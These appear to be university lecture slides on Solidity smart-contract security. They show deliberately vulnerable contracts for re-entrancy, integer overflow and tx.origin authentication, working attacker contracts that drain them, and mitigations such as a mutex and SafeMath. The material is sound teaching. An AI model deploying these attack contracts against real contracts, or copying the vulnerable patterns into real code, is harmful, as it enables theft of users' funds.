dit-upm

security of smart contracts solidity

José A. Mañas < http://www.dit.upm.es/~pepe/>
Dep. de Ingeniería de Sistemas Telemáticos
E.T.S. Ingenieros de Telecomunicación
Universidad Politécnica de Madrid

23.9.2018

references

- An Overview of Blockchain-Based Smart Contract Security
  - youtube
- HackPedia: 16 Solidity Hacks/Vulnerabilities, their Fixes and Real World Examples
  - hackpedia
- How to Secure Your Smart Contracts: 6 Solidity Vulnerabilities and how to avoid them
  - part 1 & part 2
- best practices
  - known attacks

1. Re-Entrancy

```
contract EtherStore {
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
}
```

1. Re-Entrancy

```
contract Attack {
  EtherStore public etherStore;

  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function pwnEtherStore() public payable {
      require(msg.value >= 1 ether);
      etherStore.depositFunds.value(1 ether)();
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }
```

```
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}
```

1. Re-Entrancy

```
bool reEntrancyMutex = false;

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(!reEntrancyMutex);
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
    // set the reEntrancy mutex before the external call
    reEntrancyMutex = true;
    msg.sender.transfer(_weiToWithdraw);
    // release the mutex after the external call
    reEntrancyMutex = false;
}
```

2. Arithmetic Over/Under Flows

```
contract TimeLock {

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        msg.sender.transfer(balances[msg.sender]);
        balances[msg.sender] = 0;
    }
}
```

Vaibhav Saini

2. Arithmetic Over/Under Flows

```
contract Token {
  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public constant returns (uint balance) {
    return balances[_owner];
  }
}
```

Vaibhav Saini

2. Arithmetic Over/Under Flows

```
library SafeMath {
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract TimeLock {
    using SafeMath for uint; // use the library for uint type
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() public payable {
        balances[msg.sender] = balances[msg.sender].add(msg.value);
        lockTime[msg.sender] = now.add(1 weeks);
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }
}
```

Vaibhav Saini

16. Tx.Origin Authentication

```
contract AttackContract {
    Phishable phishableContract;
    address attacker;

    constructor (Phishable _contract, address _attacker) {
        phishableContract = _contract;
        attacker = _attacker;
    }

    function () {
        phishableContract.withdrawAll(attacker);
    }
}
```

```
contract Phishable {
    address public owner;

    constructor (address _owner) {
        owner = _owner;
    }

    function () public payable {} // collect ether
    function withdrawAll(address _recipient) public {
        require(tx.origin == owner);
        _recipient.transfer(this.balance);
    }
}
```

Vaibhav Saini